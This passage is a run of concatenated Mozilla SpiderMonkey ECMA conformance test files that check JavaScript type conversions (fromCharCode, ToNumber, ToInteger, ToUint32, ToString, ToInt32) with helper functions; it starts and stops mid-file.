String.fromCharCode(127).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(128).charCodeAt(0)", 128, String.fromCharCode(128).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(130).charCodeAt(0)", 130, String.fromCharCode(130).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(255).charCodeAt(0)", 255, String.fromCharCode(255).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(256).charCodeAt(0)", 256, String.fromCharCode(256).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(Math.pow(2,16)).charCodeAt(0) ); */ new TestCase( "9.7", "String.fromCharCode(0).charCodeAt(0)", ToInt16(0), String.fromCharCode(0).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-0).charCodeAt(0)", ToInt16(0), String.fromCharCode(-0).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(1).charCodeAt(0)", ToInt16(1), String.fromCharCode(1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(64).charCodeAt(0)", ToInt16(64), String.fromCharCode(64).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(126).charCodeAt(0)", ToInt16(126), String.fromCharCode(126).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(127).charCodeAt(0)", ToInt16(127), String.fromCharCode(127).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(128).charCodeAt(0)", ToInt16(128), String.fromCharCode(128).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(130).charCodeAt(0)", ToInt16(130), String.fromCharCode(130).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(255).charCodeAt(0)", ToInt16(255), String.fromCharCode(255).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(256).charCodeAt(0)", ToInt16(256), String.fromCharCode(256).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(Math.pow(2,16)).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(65535).charCodeAt(0)", ToInt16(65535), String.fromCharCode(65535).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(65536).charCodeAt(0)", ToInt16(65536), String.fromCharCode(65536).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(65537).charCodeAt(0)", ToInt16(65537), String.fromCharCode(65537).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(131071).charCodeAt(0)", ToInt16(131071), String.fromCharCode(131071).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(131072).charCodeAt(0)", ToInt16(131072), String.fromCharCode(131072).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(131073).charCodeAt(0)", ToInt16(131073), String.fromCharCode(131073).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode('65535').charCodeAt(0)", 65535, String.fromCharCode("65535").charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode('65536').charCodeAt(0)", 0, String.fromCharCode("65536").charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-1).charCodeAt(0)", ToInt16(-1), String.fromCharCode(-1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-64).charCodeAt(0)", ToInt16(-64), String.fromCharCode(-64).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-126).charCodeAt(0)", ToInt16(-126), String.fromCharCode(-126).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-127).charCodeAt(0)", ToInt16(-127), String.fromCharCode(-127).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-128).charCodeAt(0)", ToInt16(-128), String.fromCharCode(-128).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-130).charCodeAt(0)", ToInt16(-130), String.fromCharCode(-130).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-255).charCodeAt(0)", ToInt16(-255), String.fromCharCode(-255).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-256).charCodeAt(0)", ToInt16(-256), String.fromCharCode(-256).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(-Math.pow(2,16)-1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(-Math.pow(2,16)).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-65535).charCodeAt(0)", ToInt16(-65535), String.fromCharCode(-65535).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-65536).charCodeAt(0)", ToInt16(-65536), String.fromCharCode(-65536).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-65537).charCodeAt(0)", ToInt16(-65537), String.fromCharCode(-65537).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-131071).charCodeAt(0)", ToInt16(-131071), String.fromCharCode(-131071).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-131072).charCodeAt(0)", ToInt16(-131072), String.fromCharCode(-131072).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-131073).charCodeAt(0)", ToInt16(-131073), String.fromCharCode(-131073).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode('-65535').charCodeAt(0)", ToInt16(-65535), String.fromCharCode("-65535").charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode('-65536').charCodeAt(0)", ToInt16(-65536), String.fromCharCode("-65536").charCodeAt(0) ); // new TestCase( "9.7", "String.fromCharCode(2147483648).charCodeAt(0)", ToInt16(2147483648), String.fromCharCode(2147483648).charCodeAt(0) ); // the following test cases cause a runtime error. see: http://scopus.mcom.com/bugsplat/show_bug.cgi?id=78878 // new TestCase( "9.7", "String.fromCharCode(Infinity).charCodeAt(0)", 0, String.fromCharCode("Infinity").charCodeAt(0) ); // new TestCase( "9.7", "String.fromCharCode(-Infinity).charCodeAt(0)", 0, String.fromCharCode("-Infinity").charCodeAt(0) ); // new TestCase( "9.7", "String.fromCharCode(NaN).charCodeAt(0)", 0, String.fromCharCode(Number.NaN).charCodeAt(0) ); // new TestCase( "9.7", "String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0)", 0, String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) ); // new TestCase( "9.7", "String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0)", 0, String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) ); test(); function ToInt16( num ) { num = Number( num ); if ( isNaN( num ) || num == 0 || num == Number.POSITIVE_INFINITY || num == Number.NEGATIVE_INFINITY ) { return 0; } var sign = ( num < 0 ) ? -1 : 1; num = sign * Math.floor( Math.abs( num ) ); num = num % Math.pow(2,16); num = ( num > -65536 && num < 0) ? 65536 + num : num; return num; } mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.3-1.js0000664000175000017500000000562612106270663022060 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.3-1.js ECMA Section: 9.3 Type Conversion: ToNumber Description: rules for converting an argument to a number. see 9.3.1 for cases for converting strings to numbers. special cases: undefined NaN Null NaN Boolean 1 if true; +0 if false Number the argument ( no conversion ) String see test 9.3.1 Object see test 9.3-1 This tests ToNumber applied to the object type, except if object is string. See 9.3-2 for ToNumber( String object). Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.3-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " ToNumber"); // object is Number new TestCase( SECTION, "Number(new Number())", 0, Number(new Number()) ); new TestCase( SECTION, "typeof Number(new Number())", "number", typeof Number(new Number()) ); new TestCase( SECTION, "Number(new Number(Number.NaN))", Number.NaN, Number(new Number(Number.NaN)) ); new TestCase( SECTION, "typeof Number(new Number(Number.NaN))","number", typeof Number(new Number(Number.NaN)) ); new TestCase( SECTION, "Number(new Number(0))", 0, Number(new Number(0)) ); new TestCase( SECTION, "typeof Number(new Number(0))", "number", typeof Number(new Number(0)) ); new TestCase( SECTION, "Number(new Number(null))", 0, Number(new Number(null)) ); new TestCase( SECTION, "typeof Number(new Number(null))", "number", typeof Number(new Number(null)) ); // new TestCase( SECTION, "Number(new Number(void 0))", Number.NaN, Number(new Number(void 0)) ); new TestCase( SECTION, "Number(new Number(true))", 1, Number(new Number(true)) ); new TestCase( SECTION, "typeof Number(new Number(true))", "number", typeof Number(new Number(true)) ); new TestCase( SECTION, "Number(new Number(false))", 0, Number(new Number(false)) ); new TestCase( SECTION, "typeof Number(new Number(false))", "number", typeof Number(new Number(false)) ); // object is boolean new TestCase( SECTION, "Number(new Boolean(true))", 1, Number(new Boolean(true)) ); new TestCase( SECTION, "typeof Number(new Boolean(true))", "number", typeof Number(new Boolean(true)) ); new TestCase( SECTION, "Number(new Boolean(false))", 0, Number(new Boolean(false)) ); new TestCase( SECTION, "typeof Number(new Boolean(false))", "number", typeof Number(new Boolean(false)) ); // object is array new TestCase( SECTION, "Number(new Array(2,4,8,16,32))", Number.NaN, Number(new Array(2,4,8,16,32)) ); new TestCase( SECTION, "typeof Number(new Array(2,4,8,16,32))", "number", typeof Number(new Array(2,4,8,16,32)) ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.4-1.js0000664000175000017500000000777312106270663022066 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.4-1.js ECMA Section: 9.4 ToInteger Description: 1. Call ToNumber on the input argument 2. If Result(1) is NaN, return +0 3. If Result(1) is +0, -0, Infinity, or -Infinity, return Result(1). 4. Compute sign(Result(1)) * floor(abs(Result(1))). 5. Return Result(4). To test ToInteger, this test uses new Date(value), 15.9.3.7. The Date constructor sets the [[Value]] property of the new object to TimeClip(value), which uses the rules: TimeClip(time) 1. If time is not finite, return NaN 2. If abs(Result(1)) > 8.64e15, return NaN 3. Return an implementation dependent choice of either ToInteger(Result(2)) or ToInteger(Result(2)) + (+0) (Adding a positive 0 converts -0 to +0). This tests ToInteger for values -8.64e15 > value > 8.64e15, not including -0 and +0. For additional special cases (0, +0, Infinity, -Infinity, and NaN, see 9.4-2.js). For value is String, see 9.4-3.js. Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "ToInteger"; writeHeaderToLog( SECTION + " "+ TITLE); // some special cases new TestCase( SECTION, "td = new Date(Number.NaN); td.valueOf()", Number.NaN, eval("td = new Date(Number.NaN); td.valueOf()") ); new TestCase( SECTION, "td = new Date(Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.POSITIVE_INFINITY); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.NEGATIVE_INFINITY); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-0); td.valueOf()", -0, eval("td = new Date(-0); td.valueOf()" ) ); new TestCase( SECTION, "td = new Date(0); td.valueOf()", 0, eval("td = new Date(0); td.valueOf()") ); // value is not an integer new TestCase( SECTION, "td = new Date(3.14159); td.valueOf()", 3, eval("td = new Date(3.14159); td.valueOf()") ); new TestCase( SECTION, "td = new Date(Math.PI); td.valueOf()", 3, eval("td = new Date(Math.PI); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-Math.PI);td.valueOf()", -3, eval("td = new Date(-Math.PI);td.valueOf()") ); new TestCase( SECTION, "td = new Date(3.14159e2); td.valueOf()", 314, eval("td = new Date(3.14159e2); td.valueOf()") ); new TestCase( SECTION, "td = new Date(.692147e1); td.valueOf()", 6, eval("td = new Date(.692147e1);td.valueOf()") ); new TestCase( SECTION, "td = new Date(-.692147e1);td.valueOf()", -6, eval("td = new Date(-.692147e1);td.valueOf()") ); // value is not a number new TestCase( SECTION, "td = new Date(true); td.valueOf()", 1, eval("td = new Date(true); td.valueOf()" ) ); new TestCase( SECTION, "td = new Date(false); td.valueOf()", 0, eval("td = new Date(false); td.valueOf()") ); new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") ); new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") ); // edge cases new TestCase( SECTION, "td = new Date(8.64e15); td.valueOf()", 8.64e15, eval("td = new Date(8.64e15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-8.64e15); td.valueOf()", -8.64e15, eval("td = new Date(-8.64e15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(8.64e-15); td.valueOf()", 0, eval("td = new Date(8.64e-15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-8.64e-15); td.valueOf()", 0, eval("td = new Date(-8.64e-15); td.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.6.js0000664000175000017500000001150212106270663021713 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.6.js ECMA Section: 9.6 Type Conversion: ToUint32 Description: rules for converting an argument to an unsigned 32 bit integer this test uses >>> 0 to convert the argument to an unsigned 32bit integer. 1 call ToNumber on argument 2 if result is NaN, 0, -0, Infinity, -Infinity return 0 3 compute (sign (result(1)) * floor(abs(result 1))) 4 compute result(3) modulo 2^32: 5 return result(4) special cases: -0 returns 0 Infinity returns 0 -Infinity returns 0 0 returns 0 ToInt32(ToUint32(x)) == ToInt32(x) for all values of x ** NEED TO DO THIS PART IN A SEPARATE TEST FILE ** Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "9.6"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Type Conversion: ToUint32"); new TestCase( SECTION, "0 >>> 0", 0, 0 >>> 0 ); // new TestCase( SECTION, "+0 >>> 0", 0, +0 >>> 0); new TestCase( SECTION, "-0 >>> 0", 0, -0 >>> 0 ); new TestCase( SECTION, "'Infinity' >>> 0", 0, "Infinity" >>> 0 ); new TestCase( SECTION, "'-Infinity' >>> 0", 0, "-Infinity" >>> 0); new TestCase( SECTION, "'+Infinity' >>> 0", 0, "+Infinity" >>> 0 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY >>> 0", 0, Number.POSITIVE_INFINITY >>> 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY >>> 0", 0, Number.NEGATIVE_INFINITY >>> 0 ); new TestCase( SECTION, "Number.NaN >>> 0", 0, Number.NaN >>> 0 ); new TestCase( SECTION, "Number.MIN_VALUE >>> 0", 0, Number.MIN_VALUE >>> 0 ); new TestCase( SECTION, "-Number.MIN_VALUE >>> 0", 0, Number.MIN_VALUE >>> 0 ); new TestCase( SECTION, "0.1 >>> 0", 0, 0.1 >>> 0 ); new TestCase( SECTION, "-0.1 >>> 0", 0, -0.1 >>> 0 ); new TestCase( SECTION, "1 >>> 0", 1, 1 >>> 0 ); new TestCase( SECTION, "1.1 >>> 0", 1, 1.1 >>> 0 ); new TestCase( SECTION, "-1.1 >>> 0", ToUint32(-1.1), -1.1 >>> 0 ); new TestCase( SECTION, "-1 >>> 0", ToUint32(-1), -1 >>> 0 ); new TestCase( SECTION, "2147483647 >>> 0", ToUint32(2147483647), 2147483647 >>> 0 ); new TestCase( SECTION, "2147483648 >>> 0", ToUint32(2147483648), 2147483648 >>> 0 ); new TestCase( SECTION, "2147483649 >>> 0", ToUint32(2147483649), 2147483649 >>> 0 ); new TestCase( SECTION, "4294967295 >>> 0", ToUint32(4294967295), 4294967295 >>> 0 ); new TestCase( SECTION, "4294967296 >>> 0", ToUint32(4294967296), 4294967296 >>> 0 ); new TestCase( SECTION, "4294967297 >>> 0", ToUint32(4294967297), 4294967297 >>> 0 ); new TestCase( SECTION, "-2147483647 >>> 0", ToUint32(-2147483647), -2147483647 >>> 0 ); new TestCase( SECTION, "-2147483648 >>> 0", ToUint32(-2147483648), -2147483648 >>> 0 ); new TestCase( SECTION, "-2147483649 >>> 0", ToUint32(-2147483649), -2147483649 >>> 0 ); new TestCase( SECTION, "-4294967295 >>> 0", ToUint32(-4294967295), -4294967295 >>> 0 ); new TestCase( SECTION, "-4294967296 >>> 0", ToUint32(-4294967296), -4294967296 >>> 0 ); new TestCase( SECTION, "-4294967297 >>> 0", ToUint32(-4294967297), -4294967297 >>> 0 ); new TestCase( SECTION, "'2147483647' >>> 0", ToUint32(2147483647), '2147483647' >>> 0 ); new TestCase( SECTION, "'2147483648' >>> 0", ToUint32(2147483648), '2147483648' >>> 0 ); new TestCase( SECTION, "'2147483649' >>> 0", ToUint32(2147483649), '2147483649' >>> 0 ); new TestCase( SECTION, "'4294967295' >>> 0", ToUint32(4294967295), '4294967295' >>> 0 ); new TestCase( SECTION, "'4294967296' >>> 0", ToUint32(4294967296), '4294967296' >>> 0 ); new TestCase( SECTION, "'4294967297' >>> 0", ToUint32(4294967297), '4294967297' >>> 0 ); test(); function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.8.1.js0000664000175000017500000001615712106270663022067 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.8.1.js ECMA Section: 9.8.1 ToString Applied to the Number Type Description: The operator ToString convers a number m to string as follows: 1. if m is NaN, return the string "NaN" 2. if m is +0 or -0, return the string "0" 3. if m is less than zero, return the string concatenation of the string "-" and ToString(-m). 4. If m is Infinity, return the string "Infinity". 5. Otherwise, let n, k, and s be integers such that k >= 1, 10k1 <= s < 10k, the number value for s10nk is m, and k is as small as possible. Note that k is the number of digits in the decimal representation of s, that s is not divisible by 10, and that the least significant digit of s is not necessarily uniquely determined by these criteria. 6. If k <= n <= 21, return the string consisting of the k digits of the decimal representation of s (in order, with no leading zeroes), followed by n-k occurences of the character '0'. 7. If 0 < n <= 21, return the string consisting of the most significant n digits of the decimal representation of s, followed by a decimal point '.', followed by the remaining kn digits of the decimal representation of s. 8. If 6 < n <= 0, return the string consisting of the character '0', followed by a decimal point '.', followed by n occurences of the character '0', followed by the k digits of the decimal representation of s. 9. Otherwise, if k = 1, return the string consisting of the single digit of s, followed by lowercase character 'e', followed by a plus sign '+' or minus sign '' according to whether n1 is positive or negative, followed by the decimal representation of the integer abs(n1) (with no leading zeros). 10. Return the string consisting of the most significant digit of the decimal representation of s, followed by a decimal point '.', followed by the remaining k1 digits of the decimal representation of s, followed by the lowercase character 'e', followed by a plus sign '+' or minus sign '' according to whether n1 is positive or negative, followed by the decimal representation of the integer abs(n1) (with no leading zeros). Note that if x is any number value other than 0, then ToNumber(ToString(x)) is exactly the same number value as x. As noted, the least significant digit of s is not always uniquely determined by the requirements listed in step 5. The following specification for step 5 was considered, but not adopted: Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.8.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " ToString applied to the Number type"); new TestCase( SECTION, "Number.NaN", "NaN", Number.NaN + "" ); new TestCase( SECTION, "0", "0", 0 + "" ); new TestCase( SECTION, "-0", "0", -0 + "" ); new TestCase( SECTION, "Number.POSITIVE_INFINITY", "Infinity", Number.POSITIVE_INFINITY + "" ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY", "-Infinity", Number.NEGATIVE_INFINITY + "" ); new TestCase( SECTION, "-1", "-1", -1 + "" ); // cases in step 6: integers 1e21 > x >= 1 or -1 >= x > -1e21 new TestCase( SECTION, "1", "1", 1 + "" ); new TestCase( SECTION, "10", "10", 10 + "" ); new TestCase( SECTION, "100", "100", 100 + "" ); new TestCase( SECTION, "1000", "1000", 1000 + "" ); new TestCase( SECTION, "10000", "10000", 10000 + "" ); new TestCase( SECTION, "10000000000", "10000000000", 10000000000 + "" ); new TestCase( SECTION, "10000000000000000000", "10000000000000000000", 10000000000000000000 + "" ); new TestCase( SECTION, "100000000000000000000","100000000000000000000",100000000000000000000 + "" ); new TestCase( SECTION, "12345", "12345", 12345 + "" ); new TestCase( SECTION, "1234567890", "1234567890", 1234567890 + "" ); new TestCase( SECTION, "-1", "-1", -1 + "" ); new TestCase( SECTION, "-10", "-10", -10 + "" ); new TestCase( SECTION, "-100", "-100", -100 + "" ); new TestCase( SECTION, "-1000", "-1000", -1000 + "" ); new TestCase( SECTION, "-1000000000", "-1000000000", -1000000000 + "" ); new TestCase( SECTION, "-1000000000000000", "-1000000000000000", -1000000000000000 + "" ); new TestCase( SECTION, "-100000000000000000000", "-100000000000000000000", -100000000000000000000 + "" ); new TestCase( SECTION, "-1000000000000000000000", "-1e+21", -1000000000000000000000 + "" ); new TestCase( SECTION, "-12345", "-12345", -12345 + "" ); new TestCase( SECTION, "-1234567890", "-1234567890", -1234567890 + "" ); // cases in step 7: numbers with a fractional component, 1e21> x >1 or -1 > x > -1e21, new TestCase( SECTION, "1.0000001", "1.0000001", 1.0000001 + "" ); // cases in step 8: fractions between 1 > x > -1, exclusive of 0 and -0 // cases in step 9: numbers with 1 significant digit >= 1e+21 or <= 1e-6 new TestCase( SECTION, "1000000000000000000000", "1e+21", 1000000000000000000000 + "" ); new TestCase( SECTION, "10000000000000000000000", "1e+22", 10000000000000000000000 + "" ); // cases in step 10: numbers with more than 1 significant digit >= 1e+21 or <= 1e-6 new TestCase( SECTION, "1.2345", "1.2345", String( 1.2345)); new TestCase( SECTION, "1.234567890", "1.23456789", String( 1.234567890 )); new TestCase( SECTION, ".12345", "0.12345", String(.12345 ) ); new TestCase( SECTION, ".012345", "0.012345", String(.012345) ); new TestCase( SECTION, ".0012345", "0.0012345", String(.0012345) ); new TestCase( SECTION, ".00012345", "0.00012345", String(.00012345) ); new TestCase( SECTION, ".000012345", "0.000012345", String(.000012345) ); new TestCase( SECTION, ".0000012345", "0.0000012345", String(.0000012345) ); new TestCase( SECTION, ".00000012345", "1.2345e-7", String(.00000012345)); new TestCase( SECTION, "-1e21", "-1e+21", String(-1e21) ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.5-2.js0000664000175000017500000001635712106270663022066 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.5-2.js ECMA Section: 9.5 Type Conversion: ToInt32 Description: rules for converting an argument to a signed 32 bit integer this test uses << 0 to convert the argument to a 32bit integer. The operator ToInt32 converts its argument to one of 2^32 integer values in the range -2^31 through 2^31 inclusive. This operator functions as follows: 1 call ToNumber on argument 2 if result is NaN, 0, -0, return 0 3 compute (sign (result(1)) * floor(abs(result 1))) 4 compute result(3) modulo 2^32: 5 if result(4) is greater than or equal to 2^31, return result(5)-2^32. otherwise, return result(5) special cases: -0 returns 0 Infinity returns 0 -Infinity returns 0 ToInt32(ToUint32(x)) == ToInt32(x) for all values of x Numbers greater than 2^31 (see step 5 above) (note http://bugzilla.mozilla.org/show_bug.cgi?id=120083) Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "9.5-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " ToInt32"); new TestCase( SECTION, "0 << 0", 0, 0 << 0 ); new TestCase( SECTION, "-0 << 0", 0, -0 << 0 ); new TestCase( SECTION, "Infinity << 0", 0, "Infinity" << 0 ); new TestCase( SECTION, "-Infinity << 0", 0, "-Infinity" << 0 ); new TestCase( SECTION, "Number.POSITIVE_INFINITY << 0", 0, Number.POSITIVE_INFINITY << 0 ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY << 0", 0, Number.NEGATIVE_INFINITY << 0 ); new TestCase( SECTION, "Number.NaN << 0", 0, Number.NaN << 0 ); new TestCase( SECTION, "Number.MIN_VALUE << 0", 0, Number.MIN_VALUE << 0 ); new TestCase( SECTION, "-Number.MIN_VALUE << 0", 0, -Number.MIN_VALUE << 0 ); new TestCase( SECTION, "0.1 << 0", 0, 0.1 << 0 ); new TestCase( SECTION, "-0.1 << 0", 0, -0.1 << 0 ); new TestCase( SECTION, "1 << 0", 1, 1 << 0 ); new TestCase( SECTION, "1.1 << 0", 1, 1.1 << 0 ); new TestCase( SECTION, "-1 << 0", ToInt32(-1), -1 << 0 ); new TestCase( SECTION, "2147483647 << 0", ToInt32(2147483647), 2147483647 << 0 ); new TestCase( SECTION, "2147483648 << 0", ToInt32(2147483648), 2147483648 << 0 ); new TestCase( SECTION, "2147483649 << 0", ToInt32(2147483649), 2147483649 << 0 ); new TestCase( SECTION, "(Math.pow(2,31)-1) << 0", ToInt32(2147483647), (Math.pow(2,31)-1) << 0 ); new TestCase( SECTION, "Math.pow(2,31) << 0", ToInt32(2147483648), Math.pow(2,31) << 0 ); new TestCase( SECTION, "(Math.pow(2,31)+1) << 0", ToInt32(2147483649), (Math.pow(2,31)+1) << 0 ); new TestCase( SECTION, "(Math.pow(2,32)-1) << 0", ToInt32(4294967295), (Math.pow(2,32)-1) << 0 ); new TestCase( SECTION, "(Math.pow(2,32)) << 0", ToInt32(4294967296), (Math.pow(2,32)) << 0 ); new TestCase( SECTION, "(Math.pow(2,32)+1) << 0", ToInt32(4294967297), (Math.pow(2,32)+1) << 0 ); new TestCase( SECTION, "4294967295 << 0", ToInt32(4294967295), 4294967295 << 0 ); new TestCase( SECTION, "4294967296 << 0", ToInt32(4294967296), 4294967296 << 0 ); new TestCase( SECTION, "4294967297 << 0", ToInt32(4294967297), 4294967297 << 0 ); new TestCase( SECTION, "'2147483647' << 0", ToInt32(2147483647), '2147483647' << 0 ); new TestCase( SECTION, "'2147483648' << 0", ToInt32(2147483648), '2147483648' << 0 ); new TestCase( SECTION, "'2147483649' << 0", ToInt32(2147483649), '2147483649' << 0 ); new TestCase( SECTION, "'4294967295' << 0", ToInt32(4294967295), '4294967295' << 0 ); new TestCase( SECTION, "'4294967296' << 0", ToInt32(4294967296), '4294967296' << 0 ); new TestCase( SECTION, "'4294967297' << 0", ToInt32(4294967297), '4294967297' << 0 ); new TestCase( SECTION, "-2147483647 << 0", ToInt32(-2147483647), -2147483647 << 0 ); new TestCase( SECTION, "-2147483648 << 0", ToInt32(-2147483648), -2147483648 << 0 ); new TestCase( SECTION, "-2147483649 << 0", ToInt32(-2147483649), -2147483649 << 0 ); new TestCase( SECTION, "-4294967295 << 0", ToInt32(-4294967295), -4294967295 << 0 ); new TestCase( SECTION, "-4294967296 << 0", ToInt32(-4294967296), -4294967296 << 0 ); new TestCase( SECTION, "-4294967297 << 0", ToInt32(-4294967297), -4294967297 << 0 ); /* * Numbers between 2^31 and 2^32 will have a negative ToInt32 per ECMA (see step 5 of introduction) * (These are by stevechapel@earthlink.net; cf. http://bugzilla.mozilla.org/show_bug.cgi?id=120083) */ new TestCase( SECTION, "2147483648.25 << 0", ToInt32(2147483648.25), 2147483648.25 << 0 ); new TestCase( SECTION, "2147483648.5 << 0", ToInt32(2147483648.5), 2147483648.5 << 0 ); new TestCase( SECTION, "2147483648.75 << 0", ToInt32(2147483648.75), 2147483648.75 << 0 ); new TestCase( SECTION, "4294967295.25 << 0", ToInt32(4294967295.25), 4294967295.25 << 0 ); new TestCase( SECTION, "4294967295.5 << 0", ToInt32(4294967295.5), 4294967295.5 << 0 ); new TestCase( SECTION, "4294967295.75 << 0", ToInt32(4294967295.75), 4294967295.75 << 0 ); new TestCase( SECTION, "3000000000.25 << 0", ToInt32(3000000000.25), 3000000000.25 << 0 ); new TestCase( SECTION, "3000000000.5 << 0", ToInt32(3000000000.5), 3000000000.5 << 0 ); new TestCase( SECTION, "3000000000.75 << 0", ToInt32(3000000000.75), 3000000000.75 << 0 ); /* * Numbers between - 2^31 and - 2^32 */ new TestCase( SECTION, "-2147483648.25 << 0", ToInt32(-2147483648.25), -2147483648.25 << 0 ); new TestCase( SECTION, "-2147483648.5 << 0", ToInt32(-2147483648.5), -2147483648.5 << 0 ); new TestCase( SECTION, "-2147483648.75 << 0", ToInt32(-2147483648.75), -2147483648.75 << 0 ); new TestCase( SECTION, "-4294967295.25 << 0", ToInt32(-4294967295.25), -4294967295.25 << 0 ); new TestCase( SECTION, "-4294967295.5 << 0", ToInt32(-4294967295.5), -4294967295.5 << 0 ); new TestCase( SECTION, "-4294967295.75 << 0", ToInt32(-4294967295.75), -4294967295.75 << 0 ); new TestCase( 